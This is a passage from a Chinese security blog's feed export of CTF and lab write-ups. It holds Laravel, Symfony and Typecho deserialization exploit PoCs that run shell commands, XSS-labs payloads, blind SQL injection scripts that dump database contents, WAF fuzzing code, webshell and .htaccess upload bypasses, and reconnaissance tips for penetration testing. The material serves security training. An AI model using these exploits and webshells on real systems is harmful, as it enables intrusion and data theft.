alt="Snipaste_2020-10-11_16-08-14.png"></p><p>如果是true的话:</p><ol><li><p>执行<code>mockConsoleOutput()</code></p></li><li><p>在<code>run</code>方法中会调用<code>$this->app[Kernel::class]</code>这个类的<code>call</code>方法,传入的参数<code>$this->command</code>和<code>$this->parameters</code>都可控</p></li></ol><p>在<strong>vendor/laravel/framework/src/Illuminate/Contracts/Console/Kernel.php</strong>中发现了<code>call</code>方法</p><p>要求<code>$parameters</code>参数是<strong>数组格式</strong></p><p>但是后面好像被修了·····虽然不报错,但是无法执行文件</p><p><a href="http://zwalts.com/post/php_laravel_deserilization/#poc" target="_blank" rel="noopener">http://zwalts.com/post/php_laravel_deserilization/#poc</a></p><h2 id="POP链2"><a href="#POP链2" class="headerlink" title="POP链2"></a>POP链2</h2><p><strong>此链分析和刘凡瑞师傅博客中的分析基本一致,都是从跟__destruct()开始进行逐步分析</strong></p><p>POP链的起点是<strong>laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast::__destruct()</strong></p><p>我们发现参数<code>$this->events</code>是可控的,我们能调用任意类的<code>dispatch</code>方法。</p><p>我们跟一下<code>dispatch</code>:</p><p><img src="https://i.loli.net/2020/10/11/2lD3hH7iVzgE6YI.png" alt="Snipaste_2020-10-11_15-47-53.png">)<img src="https://i.loli.net/2020/10/11/svZdugUL2bljzoi.png" alt="Snipaste_2020-10-11_15-48-13.png">)<img src="https://i.loli.net/2020/10/11/6kUw8ai2yEPVOg7.png" alt="Snipaste_2020-10-11_15-58-32.png"></p><p>如果可以满足第一个<code>if</code>条件,则可以调用<code>dispatchToQueue</code>方法,那么<code>$queue</code>引入的<code>call_user_func</code>函数就可以调用任意方法。</p><p>为了让<code>dispatch</code>的<code>if</code>条件为真,我们关注一下可控的<code>$this->queueResolver</code>和所在的<code>commandShouldBeQueued</code>方法:</p><p>该方法中要返回真,只需要让<code>$command</code>,对应<code>PendingBroadcast</code>类中的<code>$this->event</code>是一个继承于<code>ShouldQueue</code>接口的类即可。</p><p>到这里基本上可以实现命令执行:</p><p><strong>POC:</strong></p><pre><code class="php"><?phpnamespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events="",$event="") { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver = "system"; }}namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection = "whoami"; }}namespace{ $d = new Illuminate\Bus\Dispatcher(); $b = new Illuminate\Broadcasting\BroadcastEvent(); $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b); echo urlencode(serialize($p));}?></code></pre><p><img src="https://i.loli.net/2020/10/11/6kUw8ai2yEPVOg7.png" alt="Snipaste_2020-10-11_15-58-32.png"></p><h2 id="POP链3"><a href="#POP链3" class="headerlink" title="POP链3"></a>POP链3</h2><p>这条链存在<strong>symfony</strong>组件中,默认安装的<strong>laravel5.8</strong>中没有该组件。需要在<strong>composer.json</strong>文件的<strong>require</strong>添加<code>"symfony/symfony":"4.*"</code>,然后执行<code>composer update</code>命令更新</p><p>POP链起点在<strong>Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct()</strong></p><p>这条链子倒是不难:</p><p>__destruct -> commit -> invalidateTags([]) -> <code>$this->pool</code> ->saveDeferred (实例化proxyadapter) -> doSave(要求传入的<code>$item</code>参数为继承<code>CacheItemInterface</code>的类对象)</p><p>在<code>doSave</code>方法中,<code>$item</code>首先经过<code>(array)$item</code>后强制转化为<strong>数组</strong>。<code>$item</code>转化为<strong>数组</strong>后,再从数组中取键名<code>\0*\0innerItem</code>的键值赋值给参数<code>$innerItem</code>作为末尾<strong>245行</strong>,<strong>动态函数执行</strong>中的参数</p><p><code>$item["\0*\0poolHash"]</code>这种写法,数组键名中带有<strong>\0*\0</strong>,实际上是类中修饰符为<strong>protected</strong>的属性,在类强制转化为<strong>数组</strong>后的结果,测试代码如下:</p><pre><code class="php"><?phpclass Foo{ private $var1 = 1; protected $var2 = 2; public $var3 = 3;}$f = new Foo();$f = (array)$f;foreach ($f as $key => $value) { echo "key: ".urlencode($key)."<br>value: ".$value."<br>";}</code></pre><p>所以,我们只需让参数<code>$item</code>为继承<code>CacheItemInterface</code>的类对象。然后赋值其<code>innerItem</code>,<code>poolHash</code>属性即可</p><p>最后,动态调用的函数有两个参数,刚好<code>system</code>函数支持两个参数</p><p>链子如下:</p><p><img src="https://i.loli.net/2020/10/11/SjFOQPnbJehtw39.png" alt="Snipaste_2020-10-11_16-08-16.png"></p><p><strong>POC:</strong></p><pre><code class="php"><?phpnamespace Symfony\Component\Cache\Adapter{ class TagAwareAdapter { private $deferred; private $pool; public function __construct($deferred="",$pool="") { $this->deferred = $deferred; $this->pool = $pool; } }}namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter { private $setInnerItem; private $poolHash; public function __construct($setInnerItem="",$poolHash="") { $this->setInnerItem = $setInnerItem; $this->poolHash = $poolHash; } }}namespace Symfony\Component\Cache{ class CacheItem { protected $poolHash; protected $innerItem; public function __construct($poolHash="",$innerItem="") { $this->poolHash = $poolHash; $this->innerItem = $innerItem; } }}namespace{ $p = new Symfony\Component\Cache\Adapter\ProxyAdapter("system","1"); $c = new Symfony\Component\Cache\CacheItem("1","whoami"); $t = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array("1"=>$c),$p); echo urlencode(serialize($t));}?></code></pre><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
</entry>
<entry>
<title>XSS-labs WP</title>
<link href="posts/a08b.html"/>
<url>posts/a08b.html</url>
<content type="html"><![CDATA[<h1 id="Level1"><a href="#Level1" class="headerlink" title="Level1"></a>Level1</h1><p>最简单的payload:</p><pre><code>?name=<script>alert('V1cuna')</script></code></pre><h1 id="Level2"><a href="#Level2" class="headerlink" title="Level2"></a>Level2</h1><p>需要闭合input和value,payload:</p><pre><code>?keyword="><script>alert('V1cuna')</script><</code></pre><h1 id="Level3"><a href="#Level3" class="headerlink" title="Level3"></a>Level3</h1><p><code><</code>和<code>></code>被过滤了</p><p>看源码看到了一个函数:<code>htmlspecialchars()</code></p><p>其实就是转成html实体</p><p>不用就可以了,onclick然后闭合一下引号,再注释掉后面的</p><pre><code>?keyword='onclick=alert('V1cuna')//</code></pre><h1 id="Level4"><a href="#Level4" class="headerlink" title="Level4"></a>Level4</h1><p>没有什么不一样的,换一下闭合的引号即可</p><h1 id="Level5"><a href="#Level5" class="headerlink" title="Level5"></a>Level5</h1><p>稍微fuzz了一下,发现<code>on</code>和<code><script></code>被过滤替换掉了。</p><p>由于大于号和小于号还是没有过滤掉,构造<code>a href</code>一样可以。</p><pre><code class="html">?keyword="><a href='Javascript:alert(V1cuna)'></code></pre><h1 id="Level6"><a href="#Level6" class="headerlink" title="Level6"></a>Level6</h1><p>href也被过滤掉了,但是html大小写没有被检测。。。</p><p>改一下上个payload:</p><pre><code class="html">?keyword="><a hRef='Javascript:alert(1)'></code></pre><h1 id="Level7"><a href="#Level7" class="headerlink" title="Level7"></a>Level7</h1><p>大小写不大行了,双写又可以了····</p><pre><code>?keyword="> <scrscriptipt>alert(V1cuna)</scrscriptipt> //</code></pre><h1 id="Level8"><a href="#Level8" class="headerlink" title="Level8"></a>Level8</h1><p>fuzz了一下,发现过滤了双引号,href,data,src,on,script并且双写和大小写也都不合适。</p><p>Unicode最高支持32bit,也就是4字节大小的内容。通常情况下,我们使用8bit Unicode进行编码,如尖括号<的8bit 二进制数为00111100,转换16进制数后是3C,URL编码后为%3C。但是偶尔有一些网站会接收高位Unicode编码,这样有利于我们来绕过一些WAF</p><p>尝试了一下还是可以的</p><pre><code>?keyword=javascrip&#116;:alert(V1cuna)</code></pre><h1 id="Level9"><a href="#Level9" class="headerlink" title="Level9"></a>Level9</h1><p>没啥意思,用level9的payload说不合法,也不知道是怎么个不合法,去源码看了一下发现是要加<code>http://</code>那些</p><pre><code>?keyword=javascrip&#116;:alert(V1cuna)//http://</code></pre><h1 id="Level10"><a href="#Level10" class="headerlink" title="Level10"></a>Level10</h1><pre><code>?t_link=111&t_history=222&t_sort=" onclick="alert(V1cuna)" type="</code></pre><h1 id=""><a href="#" class="headerlink" title=""></a></h1><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -XSS -WP </tag>
</tags>
</entry>
<entry>
<title>python脚本收编写</title>
<link href="posts/73b4.html"/>
<url>posts/73b4.html</url>
<content type="html"><![CDATA[<h1 id="fuzz测试"><a href="#fuzz测试" class="headerlink" title="fuzz测试"></a>fuzz测试</h1><pre><code class="python">#! -*- encoding:utf-8 -*-# python3import requestsfuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']fuzz_sz = ['', ' ']fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]fuzz = fuzz_zs + fuzz_sz + fuzz_chheaders = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0", "X-Forwarded-For": "127.0.0.1"}url_start = "http://127.0.0.1/waf/test.php?id=1"test_url=requests.get(url_start,headers=headers)print(test_url.text)for a in fuzz: for b in fuzz: for c in fuzz: for d in fuzz: exp = "/*!union" + a + b + c + d + "select*/ 1,2,3" url = url_start + exp res = requests.get(url=url, headers=headers) print("Now URL:" + url) if "user" in res.text: print("Find Fuzz bypass:" + url) with open(r"C:\Users\Leticia\Desktop\results.txt", 'a', encoding='utf-8') as r: r.write(url + "\n")</code></pre><p>比较小型的fuzz测试,同样的我们也可以利用burp和相应字典fuzz</p><h1 id="布尔盲注"><a href="#布尔盲注" class="headerlink" title="布尔盲注"></a>布尔盲注</h1><pre><code class="python">#! -*- encoding:utf-8 -*-# python3import requests#用这里的语句分别替换id中的内容爆库、表、字段#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'dic='0123456789abcdefghijklmnopqrstuvwxyz,'url='http://127.0.0.1/sqli-labs/Less-8/?id=1\' and 'string=''for i in range(1,100): for j in dic: id="substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),{0},1)={1}--+".format(str(i),ascii(j)) #print(id) url_get=(url+id) #print(url_get) r=requests.get(url_get) if "You" in r.text: string+=j print(string)print(string)</code></pre><p>构造id的值来进行遍历</p><h2 id="Get型"><a href="#Get型" class="headerlink" title="Get型"></a>Get型</h2><pre><code class="python">import requestsimport stringdef get_length(url,obj): payload_len = "admin' and length({0})={1}#".replace(' ','/**/') i = 1 while True: payload_len_i = payload_len.format(obj,i) param['username'] = payload_len_i r = requests.post(url,data=param) if mark not in r.text: print("len:",i) return i i += 1def get_name(url,obj): payload_name = "admin' and substr({0},{1},1)='{2}'#".replace(' ','/**/') name_len = get_length(url,obj) chr_str = string.ascii_lowercase + string.digits + string.punctuation output = '' for i in range(1,name_len+1): for c in chr_str: payload_name_i = payload_name.format(obj,i,c) param['username'] = payload_name_i r = requests.post(url,data=param) if mark not in r.text: output += c # print(output) break return outputurl = "http://web.jarvisoj.com:32787/login.php"param = {"password":"123"}mark = "用户名错误"obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())".replace(' ','/**/')obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')".replace(' ','/**/')obj_v = "(select group_concat({0}) from {1})".replace(' ','/**/')table_name = get_name(url,obj_t).split(',')for i in table_name: print("table:",i) obj_c_i = obj_c.format(i) column_name = get_name(url,obj_c_i).split(',') print("column:",column_name) for j in column_name: obj_v_i = obj_v.format(j,i) value = get_name(url,obj_v_i).split(',') print("{0}.{1}:{2}".format(i,j,value))</code></pre><p>POST类型要注意:</p><h1 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h1><pre><code>#! -*- encoding:utf-8 -*-# python3import requests#用这里的语句分别替换id中的内容即可爆库、表、字段#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'dic='0123456789abcdefghijklmnopqrstuvwxyz,'url='http://127.0.0.1/sqli-labs/Less-8/?id=1\' and 'string=''for i in range(100): for j in dic: id="if((substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),{0},1)={1}),sleep(3),0)--+".format(str(i),ascii(j)) #print(id) url_get=(url+id) #print(url_get) r=requests.get(url_get) sec=r.elapsed.seconds if sec > 2: string+=j print(string) breakprint(string)</code></pre><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -python </tag>
</tags>
</entry>
<entry>
<title>渗透测试之信息收集</title>
<link href="posts/b930.html"/>
<url>posts/b930.html</url>
<content type="html"><。您可以在“数据定义”选项卡下查看已定义字段的列表,也可以查看主机的详细信息。例如,以下是Censys Web服务器<a href="https://censys.io/ipv4/72.14.246.220/table" target="_blank" rel="noopener">的字段</a>。</p><h5 id="布尔逻辑"><a href="#布尔逻辑" class="headerlink" title="布尔逻辑"></a>布尔逻辑</h5><p>您可以撰写使用术语多个语句and, or,not,和括号。例如,[(“Schneider Electric” or Dell) and 23.20.0.0/14](<a href="https://censys.io/ipv4?q=" target="_blank" rel="noopener">https://censys.io/ipv4?q=</a>(“Schneider Electric” or Dell) and 23.20.0.0%2F14)。默认情况下,所有包含的术语都是可选的(即作为or 语句执行)。</p><h5 id="网络,主机名和协议"><a href="#网络,主机名和协议" class="headerlink" title="网络,主机名和协议"></a>网络,主机名和协议</h5><p>您可以使用CIDR表示法(例如,<a href="https://censys.io/ipv4?q=23.20.0.0%2F14" target="_blank" rel="noopener">ip:23.20.0.0/14</a>)或通过指定地址范围来搜索IP 地址: [ip:[23.20.0.0 TO 23.20.5.34]](<a href="https://censys.io/ipv4?q=ip%3A[23.20.0.0" target="_blank" rel="noopener">https://censys.io/ipv4?q=ip%3A[23.20.0.0</a> TO 23.20.5.34])。您可以通过搜索协议字段来搜索为特定协议提供服务的主机,例如, <a href="https://censys.io/ipv4?q=protocols%3A" target="_blank" rel="noopener" title="102%2Fs7">protocols: “102/s7”</a>。</p><p>可以使用以下语法进行内联DNS查询:<a href="https://censys.io/ipv4?q=a%3Afacebook.com" target="_blank" rel="noopener">a:facebook.com</a>和<a href="https://censys.io/ipv4?q=mx%3Agmail.com" target="_blank" rel="noopener">mx:gmail.com</a>。</p><h5 id="范围"><a href="#范围" class="headerlink" title="范围"></a>范围</h5><p>您可以搜索使用数字的范围[和] 包容性的范围和{和}独家范围。例如,80.http.get.status_code:[200 TO 300]。日期应使用以下语法格式化:[2012-01-01 TO 2012-12-31]。也可以指定单侧限制: [2012-01-01 TO *]。警告! 该TO关键字必须大写。</p><h5 id="通配符和正则表达式"><a href="#通配符和正则表达式" class="headerlink" title="通配符和正则表达式"></a>通配符和正则表达式</h5><p>Censys默认搜索完整的单词。换句话说,搜索 Del不会返回包含该单词的记录Dell。通配符搜索可以在单个术语上运行,?用于替换单个字符,以及<em>替换零个或多个字符。例如,如果要搜索以Del开头的单词,则可以搜索Del</em>。</p><p>您也可以使用正则表达式进行搜索,例如 metadata.manufacturer:/De[ll]/。完整的正则表达式语法<a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-regexp-query.html#regexp-syntax" target="_blank" rel="noopener">可在此处获得</a>。</p><h5 id="提高相关度优先级"><a href="#提高相关度优先级" class="headerlink" title="提高相关度优先级"></a>提高相关度优先级</h5><p>boost运算符(^)可用于使一个术语比另一个术语更相关。例如, metadata.manufacturer: Dell^2 OR “Schneider Electric”更偏向于Dell关键字。</p><h5 id="保留字符"><a href="#保留字符" class="headerlink" title="保留字符"></a>保留字符</h5><p>必须使用反斜杠转义以下字符: + - = & || > < ! ( ) { } [ ] ^ “ ~ * ? : \ /。</p><h3 id="搜索引擎搜索"><a href="#搜索引擎搜索" class="headerlink" title="搜索引擎搜索"></a>搜索引擎搜索</h3><p>搜索引擎的高级语法同样可以帮助收集子域名和域名</p><p>例如 <code>inurl:baidu.com</code> 直接复制进搜索框, 除了推广之外剩下都是baidu.com为主域名的网站, 但是同样的条件下搜索引擎一般不如专门的信息收集平台(废话).</p><p>但是搜索引擎也有一些刁钻的用法, 例如搜素一下一个平台中所有的pdf, 或者所有的doc, 一般不会有什么特别的, 但是在一些新业务中有可能会将开发文档加一个很长的名字放在网站底下, 但是谷歌还是可以搜索到, 相比起来百度就差很多,所以使用搜索引擎进行信息收集时不建议使用百度.</p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/179487/1550557248734-8fbfb277-2c9c-4844-b566-1056e4230c14.png" alt="image.png"></p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/179487/1550557284244-db99e02d-7fbf-4e4b-a5a2-105cd9f5c43e.png" alt="image.png"></p><h2 id=""><a href="#" class="headerlink" title=""></a></h2><h2 id="3-Github查询"><a href="#3-Github查询" class="headerlink" title="3.Github查询"></a>3.Github查询</h2><p>在github查询时思路需要灵活, 例如渗透的目标叫做 “XX”</p><p>如果在GitHub死板的搜索 “XX” 收获并不会很大, 可以加上一些和开发相关的关键字</p><p>例如: ”XX 开发“ “XX 手册” “XX 项目” “XX 密码” “XX 用户”</p><p>也可以收集相关的域名去github搜索</p><p>例如: “xxx.com”</p><p>搜索时可以使用“”xxx.com”” 来强制匹配一些关键字, 可以使用size关键字限制文件大小</p><p>例如: “XXX.com size<1000”</p><h2 id="4-域传送漏洞"><a href="#4-域传送漏洞" class="headerlink" title="4.域传送漏洞"></a>4.域传送漏洞</h2><p>参考: <a href="http://www.lijiejie.com/dns-zone-transfer-1/" target="_blank" rel="noopener">http://www.lijiejie.com/dns-zone-transfer-1/</a></p><h2 id="5-子域名枚举"><a href="#5-子域名枚举" class="headerlink" title="5.子域名枚举"></a>5.子域名枚举</h2><p>一个一个判断这个子域名是否存在, 脚本可以自己写, 也可以用下面这些工具</p><h2 id="1-相关工具"><a href="#1-相关工具" class="headerlink" title="-1.相关工具"></a>-1.相关工具</h2><p><a href="https://github.com/cL0und/helloWebScan" target="_blank" rel="noopener">helloWebScan</a> cL0und大牛编写的信息收集脚本</p><p><a href="https://github.com/aboul3la/Sublist3r" target="_blank" rel="noopener">Sublist3r</a> 使用各种资源查找子域名, 包括搜索引擎和一些信息收集平台</p><p><a href="http://www.webscan.cc/api/" target="_blank" rel="noopener">http://www.webscan.cc/api/</a> 获取iP地址对应的域名,查询服务器IP上有多少个绑定域名</p><p><a href="https://github.com/0xbug/orangescan" target="_blank" rel="noopener">orangescan</a> 看起来还不错的在线信息收集平台</p><p><a href="https://github.com/bit4woo/teemo" target="_blank" rel="noopener">teemo</a> 域名收集和枚举的工具</p><h1 id="CDN绕过"><a href="#CDN绕过" class="headerlink" title="CDN绕过"></a>CDN绕过</h1><h2 id="1-查询DNS解析记录"><a href="#1-查询DNS解析记录" class="headerlink" title="1.查询DNS解析记录"></a>1.查询DNS解析记录</h2><p>这个域名可能以前只想过真实的ip, 后面才上的CDN, 那么通过域名解析记录就可以知道真实ip地址</p><p><a href="https://toolbar.netcraft.com/site_report?url=baidu.com" target="_blank" rel="noopener">https://toolbar.netcraft.com/site_report?url=baidu.com</a></p><h2 id="2-通过服务器发送的电子邮件"><a href="#2-通过服务器发送的电子邮件" class="headerlink" title="2.通过服务器发送的电子邮件"></a>2.通过服务器发送的电子邮件</h2><p>服务器发送的电子邮件源码中会包含发送服务器的ip信息</p><p>例如注册或者修改密码时的验证邮件可能来自于真实服务器</p><h2 id="3-通过子域名"><a href="#3-通过子域名" class="headerlink" title="3.通过子域名"></a>3.通过子域名</h2><p>如果子域名没有CDN那么</p><p>1.通过枚举子域名对应IP所在的C段,</p><p>2.通过<a href="http://ipwhois.cnnic.cn/index.jsp来获取对应ip的网络名称再通过网络名称获取ip段" target="_blank" rel="noopener">http://ipwhois.cnnic.cn/index.jsp来获取对应ip的网络名称再通过网络名称获取ip段</a>, 再枚举ip段中的所有ip</p><h1 id="4-通过页面特征"><a href="#4-通过页面特征" class="headerlink" title="4.通过页面特征"></a>4.通过页面特征</h1><p>如title等页面中存在的特征在fofa, shodan上面通过对应特征搜索</p><p>IP段扫描:</p><p>Python+Masscan(端口扫描)+ Nmap(端口识别)</p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> 渗透测试 </tag>
</tags>
</entry>
<entry>
<title>GKCTF复现</title>
<link href="posts/1fa2.html"/>
<url>posts/1fa2.html</url>
<content type="html"><![CDATA[<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="CheckIn"><a href="#CheckIn" class="headerlink" title="CheckIn"></a>CheckIn</h3><p>源码给出:</p><pre><code class="php"><?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; }}new ClassName();</code></pre><p><code>Ginkgo</code>参数可控,base64了一下,eval->命令执行</p><p>直接传一个马<code>eval($_POST[hack]);</code>,蚁剑连接</p><p><img src="https://i.loli.net/2020/06/05/BLJz3nWtbyhRrO4.png" alt="1.png">发现了flag文件,但是权限是0700,不够。发现了readflag文件</p><p>post一下hack=phpinfo();,发现ban掉了大多数执行命令的函数</p><p>注意到:</p><p><img src="https://i.loli.net/2020/06/05/9RHGpZtyFBCzlm7.png" alt="2.png"></p><p>找了一下7.0-7.3的bypass disable_function的POC,上传到/tmp目录下(www没权限),之后include一下就可以了。</p><h3 id=""><a href="#" class="headerlink" title=""></a></h3><p>CVE签到</p><p>查了一下CVE-2020-7066,就是利用%00截断让get_headers()请求到错误的主机。</p><p>payload:</p><pre><code>?url=http://127.0.0.1%00.ctfhub.com</code></pre><h3 id="老八小超市"><a href="#老八小超市" class="headerlink" title="老八小超市"></a>老八小超市</h3><p>shopXO CMS的版本漏洞。下载主题传马的套路。</p><h3 id="EzTypecho"><a href="#EzTypecho" class="headerlink" title="EzTypecho"></a>EzTypecho</h3><p>看标题是typecho系列的漏洞,参考这篇文章:<a href="https://www.freebuf.com/vuls/152058.html" target="_blank" rel="noopener">https://www.freebuf.com/vuls/152058.html</a></p><p>exp:</p><pre><code class="php"><?phpclass Typecho_Feed{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'content' => '1', 'link' => '1', 'date' => 1540996608, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); }}class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'system("cat /flag");';//执行的代码 $this->_filter[0] = 'assert'; }}$payload = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_');echo base64_encode(serialize($payload));?></code></pre><p>关键代码如下:</p><p><img src="https://i.loli.net/2020/06/06/ocR4iLHqyjnFMrb.png" alt="3.png"></p><p><code>$_GET['finish']</code>不为空,其次是<code>referer</code>需要是本站</p><p><img src="https://i.loli.net/2020/06/06/4m9FxYaETuwf3I6.png" alt="4.png"></p><p>需要传入start,还有一个反序列化点</p><h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="GKCTF2020-Pokémon"><a href="#GKCTF2020-Pokémon" class="headerlink" title="[GKCTF2020]Pokémon"></a>[GKCTF2020]Pokémon</h3><p>这个gba模拟器打开开金手指就可以了</p><h3 id="GKCTF2020-code-obfuscation"><a href="#GKCTF2020-code-obfuscation" class="headerlink" title="[GKCTF2020]code obfuscation"></a>[GKCTF2020]code obfuscation</h3><p>HXD分析图片,binwalk得到压缩包,有密码,非伪加密。</p><p>倾斜的二维码,用PS调正,粗糙修复,扫码得到base(gkctf)</p><p>试出来是base58,当做压缩包密码</p><p>发现一个js</p><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="小学生的密码学"><a href="#小学生的密码学" class="headerlink" title="小学生的密码学"></a>小学生的密码学</h3><p>仿射密码,百度一搜就有。。。</p><h3 id="汉字的秘密"><a href="#汉字的秘密" class="headerlink" title="汉字的秘密"></a>汉字的秘密</h3><p>当铺密码+变异凯撒</p><p>凯撒规律是:对比<code>FLAG</code>的ascii发现每一位加上相差逐渐加1</p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -CTF -WP </tag>
</tags>
</entry>
<entry>
<title>De1CTF 2020 WP</title>
<link href="posts/undefined.html"/>
<url>posts/undefined.html</url>
<content type="html"><![CDATA[<p>这次队伍最后排了82名,继续加油哇。</p><p>做的题有点少,有机会慢慢复现</p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="CheckIN"><a href="#CheckIN" class="headerlink" title="CheckIN"></a>CheckIN</h2><p>一个文件上传的题。</p><pre><code>Server: Apache2.4.6 (CentOS) PHP/5.4.16X-Powered-By: PHP/5.4.16</code></pre><p>用户文件上传到: <code>/uploads/[md5(REMOTE_ADDR)]/</code>而所有发送的内容都是通过以下过滤器来完成的:</p><pre><code class="php">$black = file_get_contents($tmp_name);if (!$tmp_name) { $result1 ="???";}else if (!$name) { $result1 ="filename cannot be empty!";}else if (preg_match("/ph|ml|js|cg/i", $name)) { $result1 = "filename error";}else if (!in_array($_FILES["fileUpload"]['type'], $typeAccepted)) { $result1 = 'filetype error';}else if (preg_match("/perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet/i",$black)){ $result1 = "perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!";}</code></pre><p>发现可以上传.htaccess来绕过,并且由于支持多行语句执行(短命令),就比如说:</p><pre><code>AddHandler application/x-httpd-p\hp .aaa</code></pre><p>基本思路有了,现在问题是<code><?php</code>标签,短标签<code><=</code>也不行。</p><p>注意到前面apache和php,我们知道可以利用apache和mod_php,通过.htaccess来修改php.ini的指令</p><pre><code>AddHandler application/x-httpd-p\hp .aaap\hp_value short_open_tag 1</code></pre><p>那么我们就能把aaa扩展当做php来执行,最后上马或者直接读取就可以</p><pre><code>/uploads/xxxxxxxxx/check.aaa?cmd=cat%20/flag</code></pre><p>flag:<code>De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}</code></p><h2 id="Hard-Pentest-1"><a href="#Hard-Pentest-1" class="headerlink" title="Hard_Pentest_1"></a>Hard_Pentest_1</h2><p>一开始单纯的以为是P神的无字母数字webshell。。。后来发现分号也GG了</p><p>绕过:php的标签,这个用短标签就可以</p><pre><code class="php"><?= a ?> <?php echo $a ?></code></pre><pre><code class="php"><?= $_=[] ?> <?= $_=@"$_" #Array ?><?= $_=$_[('!'=='@')] #('!'=='@') results in 0 ?><?= $__ = $_ ?><?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++#G ?><?= $_______ = "_".$__ #_G ?><?= $__ = $_ ?><?= @$____ = $__++ + $__++ + $__++ + $__++ #E ?><?= $_______ .= $__ #_GE ?><?= $__ = $_ ?><?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ #T ?><?= $_______ .= $__ #_GET ?><?= ${$_______}["_"](${$_______}["__"]) # $_GET['_']($_GET['__']) ?></code></pre><p>webshell如图,最后<code>?_=system&__=ls</code></p><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="大杂烩"><a href="#大杂烩" class="headerlink" title="大杂烩"></a>大杂烩</h2><p>给了一个pcap,按照大小追踪HTTP流</p><p><img src="https://i.loli.net/2020/05/13/8Oj64XLEIPSDpgw.jpg" 